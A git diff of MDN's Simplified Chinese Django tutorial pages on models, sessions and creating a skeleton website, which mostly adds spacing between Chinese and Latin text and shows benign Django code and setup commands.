+Django 网络应用通过作为模型被参照的 Python 对象访问并管理数据。模型定义了储存数据的结构,包括域类型和可能的最大值,默认值,可选择的列表,帮助理解文档的文本,表格内的标签文本,等等。模型的定义是独立于数据库的——你可以为你自己的项目设置选择一种。一旦你已经选择了你想用的数据库,你不需要直接谈论它——你只是写出你的模型结构和其他代码,然后 Django 会为你处理所有繁琐的和数据库打交道的工作。
这个教程展示了如何定义并访问 LocalLibrary website 的模型。
-设计LocalLibaray模型
+设计 LocalLibaray 模型
在你继续开始为模型写代码前,用几分钟考虑一下我们需要储存什么数据和不同对象之间的关系是很有价值的。
-我们知道我们需要存储书籍(书名,简介,作者,写作语言,类别,ISBN编号)和我们可能有的可获取的副本数量(全局独立ID,可获取状态,等等)。我们可能需要存储更多的关于作者的信息而不仅仅是她们的名字。我们希望能够将信息根据书名,作者,写作语言和类别分类。
+我们知道我们需要存储书籍(书名,简介,作者,写作语言,类别,ISBN 编号)和我们可能有的可获取的副本数量(全局独立 ID,可获取状态,等等)。我们可能需要存储更多的关于作者的信息而不仅仅是她们的名字。我们希望能够将信息根据书名,作者,写作语言和类别分类。
当设计你的模型时,给予每个“对象”(一组关联信息)独立的模型似乎挺说得通的。当前情况下,最为明显的对象就是书籍和作者。
你可能在想相比硬编码所有的选项到网站上,用模型来呈现选择列表(例如包括了许多选项的下拉菜单)——我们推荐这样,尤其是当选项未知或者可能改变时。显然,目前模型的候选者包括了书的流派(例如科幻小说,法国诗歌,等等)和语言(英语,法语,日语)。
-一旦我们决定了模型和域,我们需要考虑他们的关系。Django允许你定义一对一 (
+OneToOneField
),一对多(ForeignKey
)和多对多(ManyToManyField
)的关系。(译者注:此处我们以关系型数据库为基准,如果采用NoSQL,如MangoDB则无法如此考虑)一旦我们决定了模型和域,我们需要考虑他们的关系。Django 允许你定义一对一 (
-OneToOneField
),一对多 (ForeignKey
) 和多对多 (ManyToManyField
) 的关系。(译者注:此处我们以关系型数据库为基准,如果采用 NoSQL,如 MangoDB 则无法如此考虑)思考着以上内容,以下的UML关系表显示了我们在该例子里定义的模型。如上所述哦,我们已经为书籍(大概的细节),书籍实例(物理副本是否可获取状态)和作者创建了模型。我们也决定了为流派而创建的模型,所以变量值可以通过管理界面获取。此外,我们决定了不创建
+BookInstance:status
的模型——我们已经硬编码了这个值(LOAN_STATUS
)因为我们不期望这些被改变。通过每个方框你可以看到模型名字,值域名和类型,还有方法和返回的类型。思考着以上内容,以下的 UML 关系表显示了我们在该例子里定义的模型。如上所述哦,我们已经为书籍(大概的细节),书籍实例(物理副本是否可获取状态)和作者创建了模型。我们也决定了为流派而创建的模型,所以变量值可以通过管理界面获取。此外,我们决定了不创建
-BookInstance:status
的模型——我们已经硬编码了这个值 (LOAN_STATUS
) 因为我们不期望这些被改变。通过每个方框你可以看到模型名字,值域名和类型,还有方法和返回的类型。这个图表也显示了模型之间的关系, including their multiplicities. 这些在图表里每个模型边上的数字(最大和最小)显示了他们的关系。 例如,链接Book和Genre两个盒子的线表示它们是关联的。 靠近Book模型的数字显示一本书必须有一个或多个Genre(要多少有多少),然而另一端靠近Genre的数字显示了它可以有零或无数本相关的书籍。
+这个图表也显示了模型之间的关系,including their multiplicities. 这些在图表里每个模型边上的数字(最大和最小)显示了他们的关系。 例如,链接 Book 和 Genre 两个盒子的线表示它们是关联的。 靠近 Book 模型的数字显示一本书必须有一个或多个 Genre(要多少有多少),然而另一端靠近 Genre 的数字显示了它可以有零或无数本相关的书籍。
@@ -90,20 +90,20 @@Model definition
域
-一个模型可以有任意数量的域,或任意的类型——每个用一行呈现我们想存储进数据库的数据。让我们看一下以下的例子吧o(≧v≦)o:
+一个模型可以有任意数量的域,或任意的类型——每个用一行呈现我们想存储进数据库的数据。让我们看一下以下的例子吧 o(≧v≦)o:
my_field_name = models.CharField(max_length=20, help_text="Enter field documentation")-上面的例子有一个单域,叫做my_field_name,类型是models.CharField——这意味着此域会包含着由字母组成的字符串们。域类型被特殊的class赋值,这确认了记录的类型是用来存入数据库的,以及当用户从HTML表格里提交值后,我们用来验证提交的值是否有效的条件。
+上面的例子有一个单域,叫做 my_field_name,类型是 models.CharField——这意味着此域会包含着由字母组成的字符串们。域类型被特殊的 class 赋值,这确认了记录的类型是用来存入数据库的,以及当用户从 HTML 表格里提交值后,我们用来验证提交的值是否有效的条件。
字段类型还可以获取参数,进一步指定字段如何存放或如何被使用。在这里的情况下,我们给了字段两个参数:
-
-- -
max_length=20
— 表示此字段中值的最大长度为20个字符的状态。- +
help_text="Enter field documentation"
— 提供一个帮助用户的文本标签,让用户知道当前透过HTML表单输入时要提供什么值。- +
max_length=20
— 表示此字段中值的最大长度为 20 个字符的状态。help_text="Enter field documentation"
— 提供一个帮助用户的文本标签,让用户知道当前透过 HTML 表单输入时要提供什么值。字段名称用于在视图和模版中引用它。字段还有一个标签,它被指定一个参数(
+verbose_name
),或者通过大写字段的变量名的第一个字母,并用空格替换下划线(例如my_field_name
的默认标签为My field name )。字段名称用于在视图和模版中引用它。字段还有一个标签,它被指定一个参数(
verbose_name
),或者通过大写字段的变量名的第一个字母,并用空格替换下划线(例如my_field_name
的默认标签为 My field name)。如果模型在表单中呈现(例如:在管理站点中),则声明该字段的顺序,将影响其默认顺序,但可能会被覆盖。
@@ -112,13 +112,13 @@Common field arguments
当声明很多/大多数不同的字段类型时,可以使用以下常用参数:
-
- help_text :提供HTML表单文本标签(eg i在管理站点中),如上所述。
-- verbose_name :字段标签中的可读性名称,如果没有被指定,Django将从字段名称推断默认的详细名称。
-- default :该字段的默认值。这可以是值或可呼叫物件(callable object),在这种情况下,每次创建新纪录时都将呼叫该物件。
-- null:如为
-True
,即允许Django于资料库该栏位写入NULL
(但栏位型态如为CharField
则会写入空字串)。预设值是False
。- blank :如果
+True
,表单中的字段被允许为空白。默认是False
,这意味着Django的表单验证将强制你输入一个值。这通常搭配NULL=True
使用,因为如果要允许空值,你还希望数据库能够适当地表示它们。- help_text :提供 HTML 表单文本标签 (eg i 在管理站点中),如上所述。
+- verbose_name :字段标签中的可读性名称,如果没有被指定,Django 将从字段名称推断默认的详细名称。
+- default :该字段的默认值。这可以是值或可呼叫物件 (callable object),在这种情况下,每次创建新纪录时都将呼叫该物件。
+- null:如为
+True
,即允许 Django 于资料库该栏位写入NULL
(但栏位型态如为CharField
则会写入空字串)。预设值是False
。- blank :如果
True
,表单中的字段被允许为空白。默认是False
,这意味着 Django 的表单验证将强制你输入一个值。这通常搭配NULL=True
使用,因为如果要允许空值,你还希望数据库能够适当地表示它们。- choices :这是给此字段的一组选项。如果提供这一项,预设对应的表单部件是「该组选项的列表」,而不是原先的标准文本字段。
-- primary_key :如果是True,将当前字段设置为模型的主键(主键是被指定用来唯一辨识所有不同表记录的特殊数据库栏位(column))。如果没有指定字段作为主键,则Django将自动为此添加一个字段。
+- primary_key :如果是 True,将当前字段设置为模型的主键(主键是被指定用来唯一辨识所有不同表记录的特殊数据库栏位 (column))。如果没有指定字段作为主键,则 Django 将自动为此添加一个字段。
还有许多其他选项—你可以在这里看到完整的字段选项。
@@ -136,12 +136,12 @@Common field types
- FileField 和ImageField 分别用于上传文件和图像(
ImageField
只需添加上传的文件是图像的附加验证)。这些参数用于定义上传文件的存储方式和位置。- AutoField 是一种 IntegerField 自动递增的特殊类型。如果你没有明确指定一个主键,则此类型的主键将自动添加到模型中。
- ForeignKey 用于指定与另一个数据库模型的一对多关系(例如,汽车有一个制造商,但制造商可以制作许多汽车)。关系的“一”侧是包含密钥的模型。
-- ManyToManyField 用于指定多对多关系(例如,一本书可以有几种类型,每种类型可以包含几本书)。在我们的图书馆应用程序中,我们将非常类似地使用它们ForeignKeys,但是可以用更复杂的方式来描述组之间的关系。这些具有参数
+on_delete
来定义关联记录被删除时会发生什么(例如,值models.SET_NULL
将简单地设置为值NULL )。- ManyToManyField 用于指定多对多关系(例如,一本书可以有几种类型,每种类型可以包含几本书)。在我们的图书馆应用程序中,我们将非常类似地使用它们 ForeignKeys,但是可以用更复杂的方式来描述组之间的关系。这些具有参数
-on_delete
来定义关联记录被删除时会发生什么(例如,值models.SET_NULL
将简单地设置为值 NULL)。还有许多其他类型的字段,包括不同类型数字的字段(大整数,小整数,浮点数),布林值,URLs,唯一ids和其他“时间相关”的信息(持续时间,时间等)。你可以查阅完整列表 .
+还有许多其他类型的字段,包括不同类型数字的字段(大整数,小整数,浮点数),布林值,URLs,唯一 ids 和其他“时间相关”的信息(持续时间,时间等)。你可以查阅完整列表 .
-元数据(Metadata)
+元数据 (Metadata)
你可以通过宣告 class Meta 来宣告模型级别的元数据,如图所示:
@@ -155,7 +155,7 @@元数据(Metadata)
-ordering = ['title', '-pubdate']
书单通过标题依据--字母排序--排列,从A到Z,然后再依每个标题的出版日期,从最新到最旧排列。
+书单通过标题依据--字母排序--排列,从 A 到 Z,然后再依每个标题的出版日期,从最新到最旧排列。
另一个常见的属性是
@@ -167,25 +167,25 @@verbose_name
,一个verbose_name
说明单数和复数形式的类别。元数据(Metadata)
完整有用的元数据选项在这里Model metadata options (Django docs).
-方法(Methods)
+方法 (Methods)
一个模型也可以有方法。
-最起码,在每个模型中,你应该定义标准的Python类方法
+__str__()
,来为每个物件返回一个人类可读的字符串。此字符用于表示管理站点的各个记录(以及你需要引用模型实例的任何其他位置)。通常这将返回模型中的标题或名称字段。最起码,在每个模型中,你应该定义标准的 Python 类方法
__str__()
,来为每个物件返回一个人类可读的字符串。此字符用于表示管理站点的各个记录(以及你需要引用模型实例的任何其他位置)。通常这将返回模型中的标题或名称字段。-def __str__(self): return self.field_name
Django方法中另一个常用方法是
+get_absolute_url()
,这函数返回一个在网站上显示个人模型记录的URL(如果你定义了该方法,那么Django将自动在“管理站点”中添加“在站点中查看“按钮在模型的记录编辑栏)。get_absolute_url()
的典型示例如下:Django 方法中另一个常用方法是
get_absolute_url()
,这函数返回一个在网站上显示个人模型记录的 URL(如果你定义了该方法,那么 Django 将自动在“管理站点”中添加“在站点中查看“按钮在模型的记录编辑栏)。get_absolute_url()
的典型示例如下:-def get_absolute_url(self): """Returns the url to access a particular instance of the model.""" return reverse('model-detail-view', args=[str(self.id)])
注意 :假设你将使用URL
+/myapplication/mymodelname/2
来显示模型的单个记录(其中“2”是id特定记录),则需要创建一个URL映射器来将响应和id传递给“模型详细视图” (这将做出显示记录所需的工作)。以上示例中,reverse()
函数可以“反转”你的url映射器(在上诉命名为“model-detail-view”的案例中,以创建正确格式的URL。注意 :假设你将使用 URL
-/myapplication/mymodelname/2
来显示模型的单个记录(其中“2”是 id 特定记录),则需要创建一个 URL 映射器来将响应和 id 传递给“模型详细视图” (这将做出显示记录所需的工作)。以上示例中,reverse()
函数可以“反转”你的 url 映射器(在上诉命名为“model-detail-view”的案例中,以创建正确格式的 URL。当然要做这个工作,你还是要写URL映射,视图和模版!
+当然要做这个工作,你还是要写 URL 映射,视图和模版!
你可以定义一些你喜欢的其他方法,并从你的代码或模版调用它们(只要它们不带任何参数)。
@@ -205,10 +205,10 @@创建和修改记录
--注:如果没有任何的栏位被宣告为
+主鍵
,这笔新的纪录会被自动的赋予一个主键并将主键栏命名为id
。上例的那笔资料被储存后,试着查询这笔纪录会看到它被自动赋予1的编号。注:如果没有任何的栏位被宣告为
主鍵
,这笔新的纪录会被自动的赋予一个主键并将主键栏命名为id
。上例的那笔资料被储存后,试着查询这笔纪录会看到它被自动赋予 1 的编号。你可以透过「点(dot)的语法」取得或变更这笔新资料的栏位(字段)。你需要呼叫
+save()
将变更过的资料存进资料库:你可以透过「点 (dot) 的语法」取得或变更这笔新资料的栏位 (字段)。你需要呼叫
save()
将变更过的资料存进资料库:# Access model field values using Python attributes. print(a_record.id) #should return 1 for the first record. @@ -220,10 +220,10 @@创建和修改记录
搜寻纪录
-你可以使用模型的
+objects
属性(由base class提供)搜寻符合某个条件的纪录你可以使用模型的
objects
属性 (由 base class 提供) 搜寻符合某个条件的纪录-Note: 要用"抽象的"模型还有栏位说明怎么搜寻纪录可能会有点令人困惑。我们会以一个Book模型,其包含
+title
与genre
字段,而genre也是一个仅有name
一个字段的模型。Note: 要用"抽象的"模型还有栏位说明怎么搜寻纪录可能会有点令人困惑。我们会以一个 Book 模型,其包含
title
与genre
字段,而 genre 也是一个仅有name
一个字段的模型。我们可以取得一个模型的所有纪录,为一个
@@ -231,15 +231,15 @@QuerySet
使用objects.all()。
QuerySet
是一个可迭代的物件,表示他含有多个物件,而我们可以藉由迭代/回圈取得每个物件。搜寻纪录
all_books = Book.objects.all()-Django的
+filter()
方法让我们可以透过符合特定文字或数值的字段筛选回传的QuerySet
。例如筛选书名里有"wild"的书并且计算总数,如下面所示。Django 的
filter()
方法让我们可以透过符合特定文字或数值的字段筛选回传的QuerySet
。例如筛选书名里有"wild"的书并且计算总数,如下面所示。wild_books = Book.objects.filter(title__contains='wild') number_wild_books = Book.objects.filter(title__contains='wild').count()-要比对的字段与比对方法都要被定义在筛选的参数名称里,并且使用这个格式:
+比對字段__比對方法
(请注意上方范例中的title
与contains
中间隔了两个底线唷)。在上面我们使用大小写区分的方式比对title
。还有很多比对方式可以使用:icontains
(不区分大小写),iexact
(不大小写区分且完全符合),exact
(区分大小写但完全符合)还有in
,gt
(大于),startswith
,之类的。全部的用法在这里。要比对的字段与比对方法都要被定义在筛选的参数名称里,并且使用这个格式:
-比對字段__比對方法
(请注意上方范例中的title
与contains
中间隔了两个底线唷)。在上面我们使用大小写区分的方式比对title
。还有很多比对方式可以使用:icontains
(不区分大小写),iexact
(不大小写区分且完全符合),exact
(区分大小写但完全符合) 还有in
,gt
(大于),startswith
,之类的。全部的用法在这里。有时候你会须要透过某个一对多的字段来筛选(例如一个
+外鍵
)。这样的状况下,你可以使用两个底线来指定相关模型的字段。例如透过某个特定的genre名称筛选书籍,如下所示:有时候你会须要透过某个一对多的字段来筛选 (例如一个
外鍵
)。这样的状况下,你可以使用两个底线来指定相关模型的字段。例如透过某个特定的 genre 名称筛选书籍,如下所示:books_containing_genre = Book.objects.filter(genre__name__icontains='fiction') # Will match on: Fiction, Science fiction, non-fiction etc.@@ -248,7 +248,7 @@搜寻纪录
Note: 你可以用下划线来表示不同关系 (
-ForeignKey
/ManyToManyField
) .例如,一本书有不同的类型,用“cover“关系可能会帮助起一个参数名字type__cover__name__exact='hard'.
还有很多是你可以用索引(queries)来做的,包含从相关的模型做向后查询(backwards searches)、连锁过滤器(chaining filters)、回传「值的小集合」等。更多资讯可以到 Making queries (Django Docs)查询。
+还有很多是你可以用索引 (queries) 来做的,包含从相关的模型做向后查询 (backwards searches)、连锁过滤器 (chaining filters)、回传「值的小集合」等。更多资讯可以到 Making queries (Django Docs) 查询。
Defining the LocalLibrary Models
diff --git a/files/zh-cn/learn/server-side/django/sessions/index.html b/files/zh-cn/learn/server-side/django/sessions/index.html index 107880da482585..ccfd3fb72e0a27 100644 --- a/files/zh-cn/learn/server-side/django/sessions/index.html +++ b/files/zh-cn/learn/server-side/django/sessions/index.html @@ -12,11 +12,11 @@
- 先决条件: -完成之前的所有教程主题,包括Django教程6:通用列表和详细信息视图 +先决条件: +完成之前的所有教程主题,包括Django 教程 6:通用列表和详细信息视图 - @@ -26,22 +26,22 @@目标: +目标: 了解会话的使用方式。 概览
我们在之前的教程中创建的LocalLibrary网站,允许用户浏览目录中的书本和作者。虽然内容是从数据库动态生成的,但每个用户在使用站点时,基本上都可以访问相同的页面,和相同类型的信息。
-在一个 “真实” 的图书馆中,您可能希望根据用户之前对站点的使用,首选项等,为个人用户提供自定义体验。例如,您可以在用户下次访问时,隐藏上次已经确认的警告消息。网站,或存储和尊重他们的偏好(例如,他们希望在每个页面上显示的搜索结果的数量)。
+在一个“真实”的图书馆中,您可能希望根据用户之前对站点的使用,首选项等,为个人用户提供自定义体验。例如,您可以在用户下次访问时,隐藏上次已经确认的警告消息。网站,或存储和尊重他们的偏好(例如,他们希望在每个页面上显示的搜索结果的数量)。
会话框架允许您实现此类行为,允许您基于每个站点访问者,以储存和检索任意数据。会话是什么?
-Web浏览器和服务器之间的所有通信,都是通过HTTP协议进行的,该协议是无状态的。协议无状态的事实,意味着客户端和服务器之间的消息,完全相互独立 - 没有基于先前消息的“序列”或行为的概念。因此,如果您想拥有一个追踪与客户的持续关系的网站,您需要自己实现。
+Web 浏览器和服务器之间的所有通信,都是通过 HTTP 协议进行的,该协议是无状态的。协议无状态的事实,意味着客户端和服务器之间的消息,完全相互独立 - 没有基于先前消息的“序列”或行为的概念。因此,如果您想拥有一个追踪与客户的持续关系的网站,您需要自己实现。
-会话是Django(以及大多数Internet)用于跟踪站点和特定浏览器之间“状态”的机制。会话允许您为每个浏览器存储任意数据,并在浏览器连接时,将该数据提供给站点。然后,通过“密钥”引用与会话相关联的各个数据项,“密钥”用于存储和检索数据。
+会话是 Django(以及大多数 Internet)用于跟踪站点和特定浏览器之间“状态”的机制。会话允许您为每个浏览器存储任意数据,并在浏览器连接时,将该数据提供给站点。然后,通过“密钥”引用与会话相关联的各个数据项,“密钥”用于存储和检索数据。
-Django使用包含特殊会话ID的cookie,来识别每个浏览器,及其与该站点的关联会话。默认情况下,实际会话数据存储在站点数据库中(这比将数据存储在cookie中更安全,因为它们更容易受到恶意用户的攻击)。您可以将Django配置为,将会话数据存储在其他位置(缓存,文件,“安全”cookie),但默认位置是一个良好且相对安全的选项。
+Django 使用包含特殊会话 ID 的 cookie,来识别每个浏览器,及其与该站点的关联会话。默认情况下,实际会话数据存储在站点数据库中(这比将数据存储在 cookie 中更安全,因为它们更容易受到恶意用户的攻击)。您可以将 Django 配置为,将会话数据存储在其他位置(缓存,文件,“安全”cookie),但默认位置是一个良好且相对安全的选项。
启用会话
-我们创建骨架网站时,会自动启用会话(在教程2中)。
+我们创建骨架网站时,会自动启用会话(在教程 2 中)。
配置在项目文件(locallibrary / locallibrary / settings.py)的
@@ -57,14 +57,14 @@INSTALLED_APPS
和MIDDLEWARE
部分中设置,如下所示:启用会话
使用会话
-您可以从
+request
请求参数访问视图中的session
会话属性(作为视图的第一个参数传入的HttpRequest
)。此会话属性,表示与当前用户的特定连接(或者更确切地说,是与当前浏览器的连接,由此站点的浏览器cookie中的会话ID标识)。您可以从
-request
请求参数访问视图中的session
会话属性(作为视图的第一个参数传入的HttpRequest
)。此会话属性,表示与当前用户的特定连接(或者更确切地说,是与当前浏览器的连接,由此站点的浏览器 cookie 中的会话 ID 标识)。会话
+session
属性是一个类似字典的对象,您可以在视图中多次读取和写入,并根据需要进行修改。您可以执行所有常规的字典操作,包括清除所有数据,测试是否存在密钥,循环数据等。大多数情况下,您只需使用标准 “字典” API,来获取和设置值。会话
session
属性是一个类似字典的对象,您可以在视图中多次读取和写入,并根据需要进行修改。您可以执行所有常规的字典操作,包括清除所有数据,测试是否存在密钥,循环数据等。大多数情况下,您只需使用标准“字典”API,来获取和设置值。下面的代码片段,显示了如何使用与当前会话(浏览器)关联的密钥“
my_car
”来获取,设置和删除某些数据。-注意: 关于Django的一个好处是,你不需要考虑在你的视图中,将会话与当前请求联系起来的机制。如果我们在视图中,使用下面的片段,我们就知道有关
+my_car
的信息,仅与发送当前请求的浏览器相关联。注意: 关于 Django 的一个好处是,你不需要考虑在你的视图中,将会话与当前请求联系起来的机制。如果我们在视图中,使用下面的片段,我们就知道有关
my_car
的信息,仅与发送当前请求的浏览器相关联。# Get a session value by its key (e.g. 'my_car'), raising a KeyError if the key is not present @@ -80,16 +80,16 @@-使用会话
del request.session['my_car']API还提供了许多其他方法,主要用于管理关联的会话cookie。例如,有一些方法,可以测试客户端浏览器,是否支持cookie,设置和检查cookie过期日期,以及从数据存储中清除过期的会话。您可以在如何使用会话(Django文档)中找到完整的API。
+API 还提供了许多其他方法,主要用于管理关联的会话 cookie。例如,有一些方法,可以测试客户端浏览器,是否支持 cookie,设置和检查 cookie 过期日期,以及从数据存储中清除过期的会话。您可以在如何使用会话(Django 文档)中找到完整的 API。
保存会话数据
-默认情况下,Django仅保存到会话数据库,并在会话被修改(分配)或删除时,将会话cookie发送到客户端。如果您使用会话密钥更新某些数据,如上一节所示,那么您无需担心这一点!例如:
+默认情况下,Django 仅保存到会话数据库,并在会话被修改(分配)或删除时,将会话 cookie 发送到客户端。如果您使用会话密钥更新某些数据,如上一节所示,那么您无需担心这一点!例如:
# This is detected as an update to the session, so session data is saved. request.session['my_car'] = 'mini'-如果您正在更新会话数据中的某些信息,那么Django将无法识别您已对会话进行了更改并保存了数据(例如,如果您要更改“
+my_car
”数据中的“轮子”wheels
数据,如下所示)。在这种情况下,您需要将会话明确标记为已修改。如果您正在更新会话数据中的某些信息,那么 Django 将无法识别您已对会话进行了更改并保存了数据(例如,如果您要更改“
my_car
”数据中的“轮子”wheels
数据,如下所示)。在这种情况下,您需要将会话明确标记为已修改。# Session object not directly modified, only data within the session. Session changes not saved! request.session['my_car']['wheels'] = 'alloy' @@ -99,7 +99,7 @@保存会话数据
-注意: 您可以通过将
+SESSION_SAVE_EVERY_REQUEST = True
添加到项目设置(locallibrary/locallibrary/settings.py),以更改站点行为,站点将在每个请求上更新数据库/发送cookie。注意: 您可以通过将
SESSION_SAVE_EVERY_REQUEST = True
添加到项目设置(locallibrary/locallibrary/settings.py),以更改站点行为,站点将在每个请求上更新数据库/发送 cookie。简单的例子 - 获取访问次数
@@ -125,13 +125,13 @@简单的例子 - 获取访问次 'num_visits':num_visits}, # num_visits appended ) -
这里,我们首先得到'
+num_visits
'会话密钥的值,如果之前没有设置,则将值设置为0。每次收到请求时,我们都会递增该值,并将其存回会话中(下次用户访问该页面时)。然后将num_visits
变量,传递给上下文变量中的模板。这里,我们首先得到'
num_visits
'会话密钥的值,如果之前没有设置,则将值设置为 0。每次收到请求时,我们都会递增该值,并将其存回会话中(下次用户访问该页面时)。然后将num_visits
变量,传递给上下文变量中的模板。--注意: 我们也可能会测试浏览器中是否支持cookie(请参阅如何使用会话作为示例),或设计我们的UI,以便无论cookie是否受支持都无关紧要。
+注意: 我们也可能会测试浏览器中是否支持 cookie(请参阅如何使用会话作为示例),或设计我们的 UI,以便无论 cookie 是否受支持都无关紧要。
将以下区块底部那一行,添加到主HTML模板(/locallibrary/catalog/templates/index.html)的 “动态内容” 部分底部,以显示上下文变量:
+将以下区块底部那一行,添加到主 HTML 模板(/locallibrary/catalog/templates/index.html)的“动态内容”部分底部,以显示上下文变量:
<h2>Dynamic content</h2> @@ -153,7 +153,7 @@简单的例子 - 获取访问次
总结
-你现在知道,使用sessions 改善与匿名使用者的互动,有多么容易了。
+你现在知道,使用 sessions 改善与匿名使用者的互动,有多么容易了。
在我们的下一篇文章,我们将解释授权与许可框架,并演示如何支持使用者帐户。
@@ -172,7 +172,7 @@本教程
- Django 介绍
- 架设 Django 开发环境
-- Django 教程: The Local Library website
+- Django 教程:The Local Library website
- Django 教程 2: Creating a skeleton website
- Django 教程 3: Using models
- Django 教程 4: Django admin site
diff --git a/files/zh-cn/learn/server-side/django/skeleton_website/index.html b/files/zh-cn/learn/server-side/django/skeleton_website/index.html index 61bb57d4a96fab..fe9a11abf28376 100644 --- a/files/zh-cn/learn/server-side/django/skeleton_website/index.html +++ b/files/zh-cn/learn/server-side/django/skeleton_website/index.html @@ -7,50 +7,50 @@{{PreviousMenuNext("Learn/Server-side/Django/Tutorial_local_library_website", "Learn/Server-side/Django/Models", "Learn/Server-side/Django")}}-Django教程的第二篇文章会展示怎样创建一个网站的"框架",在这个框架的基础上,你可以继续填充整站使用的settings, urls,模型(models),视图(views)和模板(templates)。
+Django 教程的第二篇文章会展示怎样创建一个网站的"框架",在这个框架的基础上,你可以继续填充整站使用的 settings, urls,模型 (models),视图 (views) 和模板 (templates)。
- 前提: -创建Django的开发环境。复习 Django教程。 +前提: +创建 Django 的开发环境。复习 Django 教程。 - 目标: -能够使用Django提供的工具包搭建你自己的网站工程。 +目标: +能够使用 Django 提供的工具包搭建你自己的网站工程。 概述
-这篇文章会展示怎样创建一个网站的"框架",在这个框架的基础上,你可以继续填充整站使用的settings, urls,模型(models),视图(views)和模板(templates)(我们会在接下来的文章里讨论)。
+这篇文章会展示怎样创建一个网站的"框架",在这个框架的基础上,你可以继续填充整站使用的 settings, urls,模型 (models),视图 (views) 和模板 (templates)(我们会在接下来的文章里讨论)。
-搭建“框架”的过程很直接:
+搭建“框架”的过程很直接:
-
- 使用django-admin工具创建工程的文件夹,基本的文件模板和工程管理脚本(manage.py)。
+- 使用 django-admin 工具创建工程的文件夹,基本的文件模板和工程管理脚本(manage.py)。
- 用manage.py 创建一个或多个应用。
-注意:一个网站可能由多个部分组成,比如,主要页面,博客,wiki,下载区域等。Django鼓励将这些部分作为分开的应用开发。如果这样的话,在需要可以在不同的工程中复用这些应用。
+注意:一个网站可能由多个部分组成,比如,主要页面,博客,wiki,下载区域等。Django 鼓励将这些部分作为分开的应用开发。如果这样的话,在需要可以在不同的工程中复用这些应用。
- 在工程里注册新的应用。
-- 为每个应用分配url。
+- 为每个应用分配 url。
为 locallibrary 这个项目创建的网站文件夹和它的工程文件夹都命名为locallibrary。我们只创建一个名为catalog的应用。最高层的项目文件结构如下所示:
locallibrary/ # 网站文件夹 - manage.py # 用来运行Django工具的脚本(由django-admin创建) + manage.py # 用来运行 Django 工具的脚本 (由 django-admin 创建) locallibrary/ # 网站/项目文件夹(由django-admin创建) - catalog/ # 应用文件夹 (由manage.py创建)+ catalog/ # 应用文件夹 (由 manage.py 创建)接下来的部分会详细讨论创建网站框架的过程,并会展示怎么测试这些变化。最后,我们会讨论在这个阶段里你可以设置的整站级的配置。
创建项目
-首先打开命令行工具,进入你想要创建Django应用的地方(最好是你容易找到的地方),为新网站创建一个文件夹(这里是:locallibrary)。用cd命令进入文件夹:
+首先打开命令行工具,进入你想要创建 Django 应用的地方(最好是你容易找到的地方),为新网站创建一个文件夹(这里是:locallibrary)。用 cd 命令进入文件夹:
mkdir locallibrary cd locallibrary@@ -69,26 +69,26 @@创建项目
urls.py wsgi.py -locallibrary项目的子文件夹是整个网站的进入点:
+locallibrary 项目的子文件夹是整个网站的进入点:
- settings.py 包含所有的网站设置。这是可以注册所有创建的应用的地方,也是静态文件,数据库配置的地方,等等。
-- urls.py 定义了网站url到view的映射。虽然这里可以包含所有的url,但是更常见的做法是把应用相关的url包含在相关应用中,你可以在接下来的教程里看到。
-- wsgi.py 帮助Django应用和网络服务器间的通讯。你可以把这个当作模板。
+- urls.py 定义了网站 url 到 view 的映射。虽然这里可以包含所有的 url,但是更常见的做法是把应用相关的 url 包含在相关应用中,你可以在接下来的教程里看到。
+- wsgi.py 帮助 Django 应用和网络服务器间的通讯。你可以把这个当作模板。
manage.py脚本可以创建应用,和数据库通讯,启动开发用网络服务器。
-创建catalog应用
+创建 catalog 应用
-接下来,在locallibrary项目里,使用下面的命令创建catalog应用(和您项目的manage.py在同一个文件夹下)
+接下来,在 locallibrary 项目里,使用下面的命令创建 catalog 应用(和您项目的manage.py在同一个文件夹下)
python3 manage.py startapp catalog-注意:Linux/Mac OS X应用可以使用上面的命令。在windows平台下应该改为:
+py -3 manage.py startapp catalog
注意:Linux/Mac OS X 应用可以使用上面的命令。在 windows 平台下应该改为:
-py -3 manage.py startapp catalog
如果你是windows系统,在这个部分用
+py -3
替代python3
。如果你是 windows 系统,在这个部分用
py -3
替代python3
。这个工具创建了一个新的文件夹,并为该应用创建了不同的文件(下面黑体所示)。绝大多数文件的命令和它们的目的有关(比如视图函数就是views.py,模型就是models.py,测试是tests.py,网站管理设置是admin.py,注册应用是apps.py),并且还包含了为项目所用的最小模板。
@@ -111,16 +111,16 @@创建catalog应用
- 一个migration文件夹,用来存储“migrations”——当你修改你的数据模型时,这个文件会自动升级你的数据库。
-- __init__.py — 一个空文件,Django/Python会将这个文件作为Python 包并允许你在项目的其他部分使用它。
+- __init__.py — 一个空文件,Django/Python 会将这个文件作为Python 包并允许你在项目的其他部分使用它。
--注意: 你注意到上面的文件里有些缺失嘛? 尽管由views和models的文件,可是url映射,网站模板,静态文件在哪里呢?我们会在接下来的部分展示如何创建它们(并不是每个网站都需要,不过这个例子需要)
+注意: 你注意到上面的文件里有些缺失嘛?尽管由 views 和 models 的文件,可是 url 映射,网站模板,静态文件在哪里呢?我们会在接下来的部分展示如何创建它们(并不是每个网站都需要,不过这个例子需要)
注册catalog应用
+注册 catalog 应用
-既然应用已经创建好了,我们还必须在项目里注册它,以便工具在运行时它会包括在里面(比如在数据库里添加模型时)。在项目的settings里,把应用添加进
+INSTALLED_APPS
,就完成了注册。既然应用已经创建好了,我们还必须在项目里注册它,以便工具在运行时它会包括在里面(比如在数据库里添加模型时)。在项目的 settings 里,把应用添加进
INSTALLED_APPS
,就完成了注册。打开项目设置文件 locallibrary/locallibrary/settings.py 找到
@@ -137,14 +137,14 @@INSTALLED_APPS
列表里的定义。 如下所示,在列表的最后添加新的一行。注册catalog应用
新的这行详细说明了应用配置文件在 (
CatalogConfig
) /locallibrary/catalog/apps.py 里,当你创建应用时就完成了这个过程。-注意: 注意到
+INSTALLED_APPS已经有许多其他的应用了
(还有MIDDLEWARE
, 在settings的下面)。这些应用为 Django administration site 提供了支持和许多功能(包括会话,认证系统等)。注意: 注意到
INSTALLED_APPS已经有许多其他的应用了
(还有MIDDLEWARE
, 在 settings 的下面)。这些应用为 Django administration site 提供了支持和许多功能 (包括会话,认证系统等)。配置数据库
-现在可以为项目配置数据库了——为了避免性能上的差异,最好在生产和开发中使用同一种数据库。你可以在数据库 里找到不同的设置方法(Django文档)。
+现在可以为项目配置数据库了——为了避免性能上的差异,最好在生产和开发中使用同一种数据库。你可以在数据库 里找到不同的设置方法 (Django 文档)。
